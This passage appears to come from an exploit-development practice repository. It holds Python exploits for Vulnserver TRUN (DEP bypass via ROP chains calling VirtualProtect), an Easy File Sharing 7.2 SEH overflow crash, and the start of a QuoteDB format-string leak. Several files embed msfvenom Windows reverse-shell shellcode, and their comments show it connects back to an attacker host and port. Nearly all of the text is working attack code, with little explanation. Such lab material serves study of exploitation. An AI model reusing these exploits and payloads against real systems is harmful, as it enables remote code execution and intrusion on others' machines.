173 | shellcode += b"\xfa\xb3\xb6\x05\x88\x64\x12\xb7\x5d\xf2\xd1"
174 | shellcode += b"\xbb\x2a\x70\xbd\xdf\xad\x55\xb6\xe4\x26\x58"
175 | shellcode += b"\x18\x6d\x7c\x7f\xbc\x35\x26\x1e\xe5\x93\x89"
176 | shellcode += b"\x1f\xf5\x7b\x75\xba\x7e\x91\x62\xb7\xdd\xfe"
177 | shellcode += b"\x47\xfa\xdd\xfe\xcf\x8d\xae\xcc\x50\x26\x38"
178 | shellcode += b"\x7d\x18\xe0\xbf\x82\x33\x54\x2f\x7d\xbc\xa5"
179 | shellcode += b"\x66\xba\xe8\xf5\x10\x6b\x91\x9d\xe0\x94\x44"
180 | shellcode += b"\x31\xb0\x3a\x37\xf2\x60\xfb\xe7\x9a\x6a\xf4"
181 | shellcode += b"\xd8\xbb\x95\xde\x70\x51\x6c\x89\xbe\x0e\x1c"
182 | shellcode += b"\xd3\x57\x4d\xe0\xd3\x9e\xd8\x06\x79\xf1\x8c"
183 | shellcode += b"\x91\x16\x68\x95\x69\x86\x75\x03\x14\x88\xfe"
184 | shellcode += b"\xa0\xe9\x47\xf7\xcd\xf9\x30\xf7\x9b\xa3\x97"
185 | shellcode += b"\x08\x36\xcb\x74\x9a\xdd\x0b\xf2\x87\x49\x5c"
186 | shellcode += b"\x53\x79\x80\x08\x49\x20\x3a\x2e\x90\xb4\x05"
187 | shellcode += b"\xea\x4f\x05\x8b\xf3\x02\x31\xaf\xe3\xda\xba"
188 | shellcode += b"\xeb\x57\xb3\xec\xa5\x01\x75\x47\x04\xfb\x2f"
189 | shellcode += b"\x34\xce\x6b\xa9\x76\xd1\xed\xb6\x52\xa7\x11"
190 | shellcode += b"\x06\x0b\xfe\x2e\xa7\xdb\xf6\x57\xd5\x7b\xf8"
191 | shellcode += b"\x82\x5d\x9b\x1b\x06\xa8\x34\x82\xc3\x11\x59"
192 | shellcode += b"\x35\x3e\x55\x64\xb6\xca\x26\x93\xa6\xbf\x23"
193 | shellcode += b"\xdf\x60\x2c\x5e\x70\x05\x52\xcd\x71\x0c"
194 | 
195 | 
196 | #\x00\x09\x0a\x0d\x1a
197 | fuzz = b"A" * 1012
198 | fuzz += rop_nop
199 | fuzz += rop
200 | fuzz += shellcode
201 | #rop_nop = struct.pack("<I",0x1060e075)
202 | 
203 | fuzz += b"C" * (3000 - len(fuzz))
204 | 
205 | #10040284 - virtual protect
206 | 
207 | makedafile = open(crash_file, "wb")
208 | makedafile.write(fuzz)
209 | makedafile.close()
210 | 


--------------------------------------------------------------------------------
/5.dep_bypass/Vulnserver_TRUN/README.md:
--------------------------------------------------------------------------------
 1 | # Vulnserver - Command TRUN - DEP Enabled
 2 | 
 3 | Downloaded from: https://github.com/stephenbradshaw/vulnserver
 4 | 
 5 | ## Initial Crash
 6 | ```py
 7 | import struct
 8 | import socket
 9 | 
10 | TARGET_IP = "127.0.0.1"
11 | TARGET_PORT = 9999
12 | target = (TARGET_IP, TARGET_PORT)  # vulnserver
13 | 
14 | VULNSRVR_CMD = b"TRUN ."  
15 | CRASH_LEN = 6000 
16 | OFFSET = 0  
17 | 
18 | payload = VULNSRVR_CMD
19 | payload += b"A" * CRASH_LEN
20 | 
21 | with socket.create_connection(target) as sock:
22 |     sock.recv(512)  # Welcome to Vulnerable Server! ... 
23 | 
24 |     sent = sock.send(payload)
25 |     print(f"sent {sent} bytes")
26 |  ```
27 | 


--------------------------------------------------------------------------------
/5.dep_bypass/Vulnserver_TRUN/exploit.py:
--------------------------------------------------------------------------------
  1 | import struct 
  2 | import socket
  3 | 
  4 | TARGET_IP = "127.0.0.1"
  5 | TARGET_PORT = 9999
  6 | target = (TARGET_IP, TARGET_PORT)  # vulnserver
  7 | 
  8 | VULNSRVR_CMD = b"TRUN ."  
  9 | CRASH_LEN = 6000 
 10 | OFFSET = 2006  
 11 | 
 12 | ######
 13 | #EAX 90909090 => Nop {DONE}                                                
 14 | #ECX 0x62506f00 => flProtect {DONE}                     
 15 | #EDX 00000040 => flNewProtect {DONE}
 16 | #EBX 00000201 => dwSize - 513 {DONE}                                        
 17 | #ESP ???????? => Leave as is                                         
 18 | #EBP ???????? => Call to ESP (jmp, call, push,..)  {DONE}                  
 19 | #ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x6250609c {DONE}      
 20 | #EDI ???????? => ROP-Nop {DONE}
 21 | ######
 22 | 
 23 | rop_nop = struct.pack("<I",0x62501022) # RETN
 24 | #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00' EXITFUNC=thread
 25 | shellcode =  b""
 26 | shellcode += b"\xdb\xc8\xbe\xa4\x0f\xf4\x81\xd9\x74\x24\xf4"
 27 | shellcode += b"\x5f\x29\xc9\xb1\x52\x31\x77\x17\x83\xc7\x04"
 28 | shellcode += b"\x03\xd3\x1c\x16\x74\xe7\xcb\x54\x77\x17\x0c"
 29 | shellcode += b"\x39\xf1\xf2\x3d\x79\x65\x77\x6d\x49\xed\xd5"
 30 | shellcode += b"\x82\x22\xa3\xcd\x11\x46\x6c\xe2\x92\xed\x4a"
 31 | shellcode += b"\xcd\x23\x5d\xae\x4c\xa0\x9c\xe3\xae\x99\x6e"
 32 | shellcode += b"\xf6\xaf\xde\x93\xfb\xfd\xb7\xd8\xae\x11\xb3"
 33 | shellcode += b"\x95\x72\x9a\x8f\x38\xf3\x7f\x47\x3a\xd2\x2e"
 34 | shellcode += b"\xd3\x65\xf4\xd1\x30\x1e\xbd\xc9\x55\x1b\x77"
 35 | shellcode += b"\x62\xad\xd7\x86\xa2\xff\x18\x24\x8b\xcf\xea"
 36 | shellcode += b"\x34\xcc\xe8\x14\x43\x24\x0b\xa8\x54\xf3\x71"
 37 | shellcode += b"\x76\xd0\xe7\xd2\xfd\x42\xc3\xe3\xd2\x15\x80"
 38 | shellcode += b"\xe8\x9f\x52\xce\xec\x1e\xb6\x65\x08\xaa\x39"
 39 | shellcode += b"\xa9\x98\xe8\x1d\x6d\xc0\xab\x3c\x34\xac\x1a"
 40 | shellcode += b"\x40\x26\x0f\xc2\xe4\x2d\xa2\x17\x95\x6c\xab"
 41 | shellcode += b"\xd4\x94\x8e\x2b\x73\xae\xfd\x19\xdc\x04\x69"
 42 | shellcode += b"\x12\x95\x82\x6e\x55\x8c\x73\xe0\xa8\x2f\x84"
 43 | shellcode += b"\x29\x6f\x7b\xd4\x41\x46\x04\xbf\x91\x67\xd1"
 44 | shellcode += b"\x10\xc1\xc7\x8a\xd0\xb1\xa7\x7a\xb9\xdb\x27"
 45 | shellcode += b"\xa4\xd9\xe4\xed\xcd\x70\x1f\x66\x32\x2c\x1e"
 46 | shellcode += b"\x4a\xda\x2f\x20\xa8\x9f\xb9\xc6\xa6\x8f\xef"
 47 | shellcode += b"\x51\x5f\x29\xaa\x29\xfe\xb6\x60\x54\xc0\x3d"
 48 | shellcode += b"\x87\xa9\x8f\xb5\xe2\xb9\x78\x36\xb9\xe3\x2f"
 49 | shellcode += b"\x49\x17\x8b\xac\xd8\xfc\x4b\xba\xc0\xaa\x1c"
 50 | shellcode += b"\xeb\x37\xa3\xc8\x01\x61\x1d\xee\xdb\xf7\x66"
 51 | shellcode += b"\xaa\x07\xc4\x69\x33\xc5\x70\x4e\x23\x13\x78"
 52 | shellcode += b"\xca\x17\xcb\x2f\x84\xc1\xad\x99\x66\xbb\x67"
 53 | shellcode += b"\x75\x21\x2b\xf1\xb5\xf2\x2d\xfe\x93\x84\xd1"
 54 | shellcode += b"\x4f\x4a\xd1\xee\x60\x1a\xd5\x97\x9c\xba\x1a"
 55 | shellcode += b"\x42\x25\xda\xf8\x46\x50\x73\xa5\x03\xd9\x1e"
 56 | shellcode += b"\x56\xfe\x1e\x27\xd5\x0a\xdf\xdc\xc5\x7f\xda"
 57 | shellcode += b"\x99\x41\x6c\x96\xb2\x27\x92\x05\xb2\x6d"
 58 | 
 59 | #### POP EAX - {DONE} 
 60 | eax = struct.pack("<I",0x625011b4) #0x625011b4: pop eax ; ret 
 61 | eax += struct.pack("<I",0x90909090) # NOP
 62 | 
 63 | #### POP ECX {DONE}
 64 | ecx = struct.pack("<I",0x6250120c)  # pop ecx; ret;
 65 | ecx += struct.pack("<I",0x62506f10) # RW page
 66 | 
 67 | #### POP EDX { DONE}
 68 | edx = struct.pack("<I",0x771073d0)  # XOR EAX,EAX # RETN
 69 | edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 8
 70 | edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 16
 71 | edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 24
 72 | edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 32
 73 | edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 40
 74 | edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 48
 75 | edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 56
 76 | edx += struct.pack("<I",0x7593616f) # ADD EAX,8 # RETN - 64
 77 | edx += struct.pack("<I",0x77173a4a) # XCHG EAX,EDX # RETN
 78 | 
 79 | #### POP EBX {DONE}
 80 | ebx = struct.pack("<I",0x625011b4) #0x625011b4: pop eax ; ret --> essfunc.dll
 81 | ebx += struct.pack("<I",0xfffffdff) # -201
 82 | ebx += struct.pack("<I",0x758b29f8) # NEG EAX # RETN    ** [KERNEL32.DLL] **  
 83 | ebx += struct.pack("<I",0x75fa5599) # XCHG EAX,EBX # RETN    ** [RPCRT4.dll] **   
 84 | 
 85 | #### POP EBP {DONE}
 86 | ebp = struct.pack("<I",0x75f88337)# POP EBP # RETN    ** [RPCRT4.dll] ** 
 87 | ebp += struct.pack("<I",0x625011af) # jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] 
 88 | 
 89 | #### POP ESI {DONE}
 90 | esi = struct.pack("<I",0x625011b4  ) # pop eax; ret; --> essfunc.dll
 91 | esi += struct.pack("<I",0x6250609c) #0x6250609c: indirizzo di VirtualProtect
 92 | esi += struct.pack("<I",0x75fbe619) # MOV EAX,DWORD PTR [EAX] # RETN    ** [RPCRT4.dll] **   
 93 | esi += struct.pack("<I",0x75a01470)  # XCHG EAX,ESI # RETN    ** [WS2_32.DLL] **
 94 | 
 95 | #### POP EDI
 96 | edi = struct.pack("<I",0x759ca9e1) # POP EDI # RETN    ** [WS2_32.DLL] ** 
 97 | edi += rop_nop
 98 | 
 99 | #### PUSHAD
100 | pushad = struct.pack("<I",0x759dcf3f) # PUSHAD # RETN    ** [WS2_32.DLL] ** 
101 | 
102 | rop = esi 
103 | rop += ebx 
104 | rop += edx 
105 | rop += edi 
106 | rop += ebp 
107 | rop += ecx 
108 | rop += eax 
109 | rop += pushad 
110 | 
111 | nop = b"\x90"*16
112 | 
113 | payload = VULNSRVR_CMD
114 | payload += b"A" * OFFSET
115 | payload += rop_nop # ROP NOP
116 | payload += rop
117 | payload += nop
118 | payload += shellcode
119 | payload += b"C" * (CRASH_LEN - len(payload))
120 | 
121 | with socket.create_connection(target) as sock:
122 |     sock.recv(512)  # Welcome to Vulnerable Server! ... 
123 | 
124 |     sent = sock.send(payload)
125 |     print(f"sent {sent} bytes")
126 | 


--------------------------------------------------------------------------------
/5.dep_bypass/Vulnserver_TRUN/exploit2.py:
--------------------------------------------------------------------------------
  1 | #based on https://connormcgarr.github.io/ROP/
  2 | import struct 
  3 | import socket
  4 | 
  5 | TARGET_IP = "127.0.0.1"
  6 | TARGET_PORT = 9999
  7 | target = (TARGET_IP, TARGET_PORT)  # vulnserver
  8 | 
  9 | VULNSRVR_CMD = b"TRUN ."  
 10 | CRASH_LEN = 6000 
 11 | OFFSET = 2006  
 12 | 
 13 | #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00\x09\x0A' EXITFUNC=thread
 14 | shellcode =  b""
 15 | shellcode += b"\xda\xcb\xba\xdd\xd8\x47\xd0\xd9\x74\x24\xf4"
 16 | shellcode += b"\x5b\x29\xc9\xb1\x52\x31\x53\x17\x03\x53\x17"
 17 | shellcode += b"\x83\x36\x24\xa5\x25\x34\x3d\xa8\xc6\xc4\xbe"
 18 | shellcode += b"\xcd\x4f\x21\x8f\xcd\x34\x22\xa0\xfd\x3f\x66"
 19 | shellcode += b"\x4d\x75\x6d\x92\xc6\xfb\xba\x95\x6f\xb1\x9c"
 20 | shellcode += b"\x98\x70\xea\xdd\xbb\xf2\xf1\x31\x1b\xca\x39"
 21 | shellcode += b"\x44\x5a\x0b\x27\xa5\x0e\xc4\x23\x18\xbe\x61"
 22 | shellcode += b"\x79\xa1\x35\x39\x6f\xa1\xaa\x8a\x8e\x80\x7d"
 23 | shellcode += b"\x80\xc8\x02\x7c\x45\x61\x0b\x66\x8a\x4c\xc5"
 24 | shellcode += b"\x1d\x78\x3a\xd4\xf7\xb0\xc3\x7b\x36\x7d\x36"
 25 | shellcode += b"\x85\x7f\xba\xa9\xf0\x89\xb8\x54\x03\x4e\xc2"
 26 | shellcode += b"\x82\x86\x54\x64\x40\x30\xb0\x94\x85\xa7\x33"
 27 | shellcode += b"\x9a\x62\xa3\x1b\xbf\x75\x60\x10\xbb\xfe\x87"
 28 | shellcode += b"\xf6\x4d\x44\xac\xd2\x16\x1e\xcd\x43\xf3\xf1"
 29 | shellcode += b"\xf2\x93\x5c\xad\x56\xd8\x71\xba\xea\x83\x1d"
 30 | shellcode += b"\x0f\xc7\x3b\xde\x07\x50\x48\xec\x88\xca\xc6"
 31 | shellcode += b"\x5c\x40\xd5\x11\xa2\x7b\xa1\x8d\x5d\x84\xd2"
 32 | shellcode += b"\x84\x99\xd0\x82\xbe\x08\x59\x49\x3e\xb4\x8c"
 33 | shellcode += b"\xde\x6e\x1a\x7f\x9f\xde\xda\x2f\x77\x34\xd5"
 34 | shellcode += b"\x10\x67\x37\x3f\x39\x02\xc2\xa8\x86\x7b\xcd"
 35 | shellcode += b"\x14\x6f\x7e\xcd\x7e\xea\xf7\x2b\x14\xe4\x51"
 36 | shellcode += b"\xe4\x81\x9d\xfb\x7e\x33\x61\xd6\xfb\x73\xe9"
 37 | shellcode += b"\xd5\xfc\x3a\x1a\x93\xee\xab\xea\xee\x4c\x7d"
 38 | shellcode += b"\xf4\xc4\xf8\xe1\x67\x83\xf8\x6c\x94\x1c\xaf"
 39 | shellcode += b"\x39\x6a\x55\x25\xd4\xd5\xcf\x5b\x25\x83\x28"
 40 | shellcode += b"\xdf\xf2\x70\xb6\xde\x77\xcc\x9c\xf0\x41\xcd"
 41 | shellcode += b"\x98\xa4\x1d\x98\x76\x12\xd8\x72\x39\xcc\xb2"
 42 | shellcode += b"\x29\x93\x98\x43\x02\x24\xde\x4b\x4f\xd2\x3e"
 43 | shellcode += b"\xfd\x26\xa3\x41\x32\xaf\x23\x3a\x2e\x4f\xcb"
 44 | shellcode += b"\x91\xea\x6f\x2e\x33\x07\x18\xf7\xd6\xaa\x45"
 45 | shellcode += b"\x08\x0d\xe8\x73\x8b\xa7\x91\x87\x93\xc2\x94"
 46 | shellcode += b"\xcc\x13\x3f\xe5\x5d\xf6\x3f\x5a\x5d\xd3"
 47 | 
 48 | rop_nop = struct.pack("<I",0x62501022) # ROP NOP
 49 | 
 50 | payload = VULNSRVR_CMD
 51 | payload += b"A" * OFFSET
 52 | payload += rop_nop 
 53 | 
 54 | # Beginning of ROP chain
 55 | 
 56 | # Saving ESP into ESI, EAX e EDX
 57 | payload += struct.pack('<L', 0x77371b2e)  # PUSH ESP # POP ESI # RETN    ** [KERNEL32.DLL] **  
 58 | payload += struct.pack('<L', 0x75c74c67)  # MOV EAX,ESI # RETN    ** [RPCRT4.dll] ** 
 59 | payload += struct.pack('<L',0x75d18224)  # MOV EDX,EAX # MOV EAX,EDX # RETN ** RPCRT4
 60 | 
 61 | payload += struct.pack('<L', 0x75c481cc)  # ADD ESP,2C # RETN **msvcrt**
 62 | 
 63 | # Calling VirtualProtect with parameters
 64 | payload += struct.pack('<L', 0x77325c90)    # kernel32.VirtualProtect()
 65 | payload += struct.pack('<L', 0x4c4c4c4c)    # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
 66 | payload += struct.pack('<L', 0x45454545)    # lpAddress
 67 | payload += struct.pack('<L', 0x03030303)    # size of shellcode
 68 | payload += struct.pack('<L', 0x54545454)    # flNewProtect
 69 | payload += struct.pack('<L', 0x62506d10)    # pOldProtect (any writeable address)
 70 | 
 71 | payload += b"\x90" * 20
 72 | 
 73 | #con add esp,2c atterro qui
 74 | # Increase ESI 72 bytes (ESI right now contains old ESP) to equal address of the VirtualProtect return address place holder
 75 | # (no pointers have been created yet)
 76 | payload += struct.pack('<L',0x75c7d3aa)  # INC ESI # RETN    ** [RPCRT4.dll] ** 
 77 | payload += struct.pack('<L',0x75c7d3aa)  # INC ESI # RETN    ** [RPCRT4.dll] ** 
 78 | payload += struct.pack('<L',0x75c7d3aa)  # INC ESI # RETN    ** [RPCRT4.dll] ** 
 79 | payload += struct.pack('<L',0x75c7d3aa)  # INC ESI # RETN    ** [RPCRT4.dll] ** 
 80 | payload += struct.pack('<L',0x75c7d3aa)  # INC ESI # RETN    ** [RPCRT4.dll] ** 
 81 | payload += struct.pack('<L',0x75c7d3aa)  # INC ESI # RETN    ** [RPCRT4.dll] ** 
 82 | payload += struct.pack('<L',0x75c7d3aa)  # INC ESI # RETN    ** [RPCRT4.dll] ** 
 83 | payload += struct.pack('<L',0x75c7d3aa)  # INC ESI # RETN    ** [RPCRT4.dll] ** 
 84 | payload += struct.pack('<L',0x75c7d3aa)  # INC ESI # RETN    ** [RPCRT4.dll] ** 
 85 | payload += struct.pack('<L',0x75c7d3aa)  # INC ESI # RETN    ** [RPCRT4.dll] ** 
 86 | payload += struct.pack('<L',0x75c7d3aa)  # INC ESI # RETN    ** [RPCRT4.dll] ** 
 87 | payload += struct.pack('<L',0x75c7d3aa)  # INC ESI # RETN    ** [RPCRT4.dll] ** 
 88 | payload += struct.pack('<L',0x75c7d3aa)  # INC ESI # RETN    ** [RPCRT4.dll] ** 
 89 | payload += struct.pack('<L',0x75c7d3aa)  # INC ESI # RETN    ** [RPCRT4.dll] ** 
 90 | payload += struct.pack('<L',0x75c7d3aa)  # INC ESI # RETN    ** [RPCRT4.dll] ** 
 91 | payload += struct.pack('<L',0x75c7d3aa)  # INC ESI # RETN    ** [RPCRT4.dll] ** 
 92 | 
 93 | # Move ESI into ECX, and increase it 4 bytes to reach location of VirtualProtect lpAddress parameter
 94 | # (no pointers have been created yet. Just preparation)
 95 | # Now EAX contains the address of the VirtualProtect return address
 96 | # Now ESI contains the address of the VirtualProtect return address
 97 | # Now ECX, contains the address of the VirtualProtect lpAddress location
 98 | payload += struct.pack('<L',0x75cf0bd8) # MOV ECX,ESI # MOV EAX,ECX # POP ESI # POP EBP # RETN 0x04 **RPCRT4**
 99 | payload += struct.pack ('<L', 0x50505050)  # padding to compensate for pop esi in the above ROP gadget
100 | payload += struct.pack ('<L', 0x50505050)  # padding to compensate for pop ebp in the above ROP gadget
101 | payload += rop_nop # retn 0x04
102 | payload += rop_nop # retn 0x04
103 | payload += struct.pack('<L',0x75bc0778) # INC ECX # RETN    ** [msvcrt.dll] ** 
104 | payload += struct.pack('<L',0x75bc0778) # INC ECX # RETN    ** [msvcrt.dll] ** 
105 | payload += struct.pack('<L',0x75bc0778) # INC ECX # RETN    ** [msvcrt.dll] ** 
106 | payload += struct.pack('<L',0x75bc0778) # INC ECX # RETN    ** [msvcrt.dll] ** 
107 | 
108 | # Increase EDX, which contains old ESP, to equal around the address of shellcode
109 | # Determine how far shellcode is away, and add that difference into EDX, because
110 | # EDX is being used for calculations
111 | payload += struct.pack('<L',0x774c40e4)  # ADD EDX,96 # ADD EAX,EDX # RETN  **ntdll**
112 | payload += struct.pack('<L',0x774c40e4)  # ADD EDX,96 # ADD EAX,EDX # RETN  **ntdll**
113 | payload += struct.pack('<L',0x774c40e4)  # ADD EDX,96 # ADD EAX,EDX # RETN  **ntdll**
114 | 
115 | #visto che sia EAX che ESI li perdo ma dovrebbero contenere il return address, mi salvo una copia di ECX
116 | #in EAX e decremento EAX di 4
117 | payload += struct.pack('<L',0x774d80f8)  # MOV EAX,ECX # RETN    ** [ntdll.dll] ** 
118 | payload += struct.pack('<L',0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] **  
119 | payload += struct.pack('<L',0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] **  
120 | payload += struct.pack('<L',0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] **  
121 | payload += struct.pack('<L',0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] **  
122 | 
123 | # Replace current VirtualProtect return address pointer (the placeholder) 
124 | #with pointer to shellcode location 
125 | #EDX --> [EAX]
126 | payload += struct.pack('<L',0x75d7d2c1)  # MOV DWORD PTR [EAX],EDX # POP EBP # RETN 0x08    ** [WS2_32.DLL] **  
127 | payload += rop_nop # retn 0x08
128 | payload += rop_nop # retn 0x08
129 | payload += rop_nop # retn 0x08
130 | payload += rop_nop # retn 0x08
131 | 
132 | # Replace VirtualProtect lpAddress placeholder with pointer to shellcode location
133 | # EDX --> [ECX]
134 | payload += struct.pack('<L',0x7734b3f6)  # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04    ** [KERNEL32.DLL] **  
135 | payload += struct.pack ('<L', 0x50505050)  # padding to compensate for pop ebp
136 | payload += rop_nop # retn 0x04
137 | payload += rop_nop # retn 0x04
138 | 
139 | #Replace VirtualProtect size placeholder with 0x365
140 | #salvo eax in edx
141 | payload += struct.pack('<L',0x75d18224)  # MOV EDX,EAX # MOV EAX,EDX # RETN    ** [RPCRT4.dll] **  
142 | #pulisco eax e ci butto dentro 365
143 | payload += struct.pack('<L',0x75c795df)  # XOR EAX,EAX # RETN    ** [RPCRT4.dll] ** 
144 | payload += struct.pack('<L',0x7735030e)  # ADD EAX,16D # POP EBP # RETN 0x04 **KERNEL32**  
145 | payload += struct.pack ('<L', 0x50505050)  # padding to compensate for pop ebp
146 | payload += rop_nop # retn 0x04
147 | payload += rop_nop # retn 0x04
148 | #aumento edx fino a farlo arrivare al pointer di size
149 | payload += struct.pack('<L',0x75c258b7)  # INC EDX # RETN    ** [msvcrt.dll] **
150 | payload += struct.pack('<L',0x75c258b7)  # INC EDX # RETN    ** [msvcrt.dll] **
151 | payload += struct.pack('<L',0x75c258b7)  # INC EDX # RETN    ** [msvcrt.dll] **
152 | payload += struct.pack('<L',0x75c258b7)  # INC EDX # RETN    ** [msvcrt.dll] **
153 | payload += struct.pack('<L',0x75c258b7)  # INC EDX # RETN    ** [msvcrt.dll] **
154 | payload += struct.pack('<L',0x75c258b7)  # INC EDX # RETN    ** [msvcrt.dll] **
155 | payload += struct.pack('<L',0x75c258b7)  # INC EDX # RETN    ** [msvcrt.dll] **
156 | payload += struct.pack('<L',0x75c258b7)  # INC EDX # RETN    ** [msvcrt.dll] **
157 | #copio eax nel pointer di edx
158 | payload += struct.pack('<L',0x75c078a1)  # MOV DWORD PTR [EDX],EAX # MOV EAX,3 # RETN    ** [msvcrt.dll] **
159 | 
160 | #Replace VirtualProtect lfProtect placeholder with 0x40
161 | #pulisco eax
162 | payload += struct.pack('<L',0x75c795df)  # XOR EAX,EAX # RETN    ** [RPCRT4.dll] **
163 | #aggiungo 44 e decremento di 4
164 | payload += struct.pack('<L',0x75be28d8) # ADD EAX,20 # POP EBP # RETN  **msvcrt**  
165 | payload += struct.pack('<L',0x50505050)  # padding to compensate for pop ebp
166 | payload += struct.pack('<L',0x75be28d8) # ADD EAX,20 # POP EBP # RETN  **msvcrt**  
167 | payload += struct.pack('<L',0x50505050)  # padding to compensate for pop ebp
168 | #aumento edx di 4
169 | payload += struct.pack('<L',0x75c258b7)  # INC EDX # RETN    ** [msvcrt.dll] **
170 | payload += struct.pack('<L',0x75c258b7)  # INC EDX # RETN    ** [msvcrt.dll] **
171 | payload += struct.pack('<L',0x75c258b7)  # INC EDX # RETN    ** [msvcrt.dll] **
172 | payload += struct.pack('<L',0x75c258b7)  # INC EDX # RETN    ** [msvcrt.dll] **
173 | #copio eax nel pointer di edx
174 | payload += struct.pack('<L',0x75c078a1)  # MOV DWORD PTR [EDX],EAX # MOV EAX,3 # RETN    ** [msvcrt.dll] **
175 | 
176 | 
177 | # Now we need to return to where the VirutalProtect call is on the stack.
178 | # ECX contains a value around the old stack pointer at this time (from the beginning). Put ECX into EAX
179 | # and decrement EAX to get back to the function call - and then load EAX into ESP.
180 | # Restoring the old stack pointer here.
181 | payload += struct.pack('<L',0x774d80f8)  # MOV EAX,ECX # RETN    ** [ntdll.dll] ** 
182 | payload += struct.pack('<L',0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] **
183 | payload += struct.pack('<L',0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] **
184 | payload += struct.pack('<L',0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] **
185 | payload += struct.pack('<L',0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] **
186 | payload += struct.pack('<L',0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] **
187 | payload += struct.pack('<L',0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] **
188 | payload += struct.pack('<L',0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] **
189 | payload += struct.pack('<L',0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] **
190 | payload += struct.pack('<L',0x77318010)  # XCHG EAX,ESP # RETN    **
191 | 
192 | 
193 | payload += b"\x90" * 250  # padding for the ROP gadget that will be insterted
194 | 
195 | payload +=shellcode
196 | 
197 | payload += b"C" * (CRASH_LEN - len(payload))
198 | 
199 | with socket.create_connection(target) as sock:
200 |     sock.recv(512)  # Welcome to Vulnerable Server! ... 
201 | 
202 |     sent = sock.send(payload)
203 |     print(f"sent {sent} bytes")
204 | 


--------------------------------------------------------------------------------
/6.asrl_enabled/Easy File Sharing_7.2/README.md:
--------------------------------------------------------------------------------
 1 | # Easy File Sharing 7.2
 2 | 
 3 | Downloaded from: https://www.exploit-db.com/exploits/39008
 4 | 
 5 | ## Initial Crash
 6 | 
 7 | ```py
 8 | import sys
 9 | import os
10 | import socket
11 | import struct
12 | 
13 | CRASH = 5000
14 | OFFSET_SEH = 2563
15 | OFFSET_ADD = 4063
16 | 
17 | payload = b"\x90" * OFFSET_SEH
18 | #add esp,1004h atterra qui. Da qui parto con il ROP
19 | payload += struct.pack('<L', 0x90909090)
20 | 
21 | payload += b"\x41" * (OFFSET_ADD-len(payload))
22 | payload += struct.pack('<L', 0x10022869)    # add esp, 0x1004 ; ret: NSEH
23 | payload += b"\x41" * (CRASH - len(payload))
24 | 
25 | # Replicating HTTP request to interact with the server
26 | # UserID contains the vulnerability
27 | http_request = b"GET /changeuser.ghp HTTP/1.1\r\n"
28 | http_request += b"Host: 172.16.55.140\r\n"
29 | http_request += b"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
30 | http_request += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
31 | http_request += b"Accept-Language: en-US,en;q=0.5\r\n"
32 | http_request += b"Accept-Encoding: gzip, deflate\r\n"
33 | http_request += b"Referer: http://172.16.55.140/\r\n"
34 | http_request += b"Cookie: SESSIONID=9349; UserID=" + payload + b"; PassWD=;\r\n"
35 | http_request += b"Connection: Close\r\n"
36 | http_request += b"Upgrade-Insecure-Requests: 1\r\n"
37 | 
38 | print("[+] Sending exploit...")
39 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
40 | s.connect(("127.0.0.1", 80))
41 | s.send(http_request)
42 | s.close()
43 | ```
44 | 


--------------------------------------------------------------------------------
/6.asrl_enabled/QuoteDB/README.md:
--------------------------------------------------------------------------------
 1 | #  QuoteDB
 2 | 
 3 | Downloaded from: https://github.com/bmdyy/quote_db/
 4 | 
 5 | ## Initial Crash
 6 | 
 7 | ```py
 8 | import struct
 9 | import socket
10 | 
11 | 
12 | TARGET_IP = "127.0.0.1"
13 | TARGET_PORT = 3700
14 | target = (TARGET_IP, TARGET_PORT) 
15 | 
16 | CRASH_LEN = 4000  # change me
17 | 
18 | payload = b"1"*CRASH_LEN
19 | 
20 | with socket.create_connection(target) as sock:
21 |     sent = sock.send(payload)
22 |     resp = sock.recv(512)
23 |     print(resp)
24 | sock.close()
25 | ```
26 | 


--------------------------------------------------------------------------------
/6.asrl_enabled/QuoteDB/exploit.py:
--------------------------------------------------------------------------------
  1 | import struct
  2 | import socket
  3 | 
  4 | 
  5 | TARGET_IP = "127.0.0.1"
  6 | TARGET_PORT = 3700
  7 | target = (TARGET_IP, TARGET_PORT) 
  8 | 
  9 | CRASH_LEN_EIP = 3000  # change me
 10 | 
 11 | #FIRST INFO LEAK - 902
 12 | opcode = struct.pack("<I",0x386)
 13 | payload = opcode
 14 | payload += b"%p" * CRASH_LEN_EIP
 15 | 
 16 | with socket.create_connection(target) as sock:
 17 |     sent = sock.send(payload)
 18 |     resp = sock.recv(512)
 19 |     print(f"sent {sent} bytes")
 20 |     sock.close()
 21 | 
 22 | #SECOND - INFO LEAK - 901
 23 | opcode = struct.pack("<I",0x385)
 24 | payload = opcode
 25 | payload += struct.pack("<I",0xa) #num quotes
 26 | 
 27 | with socket.create_connection(target) as sock:
 28 |     sent = sock.send(payload)
 29 |     resp = sock.recv(512)
 30 | 
 31 | resp = [resp[i:i+8] for i in range(0, len(resp), 8)]
 32 | #75bb0000 75c6f000   msvcrt 
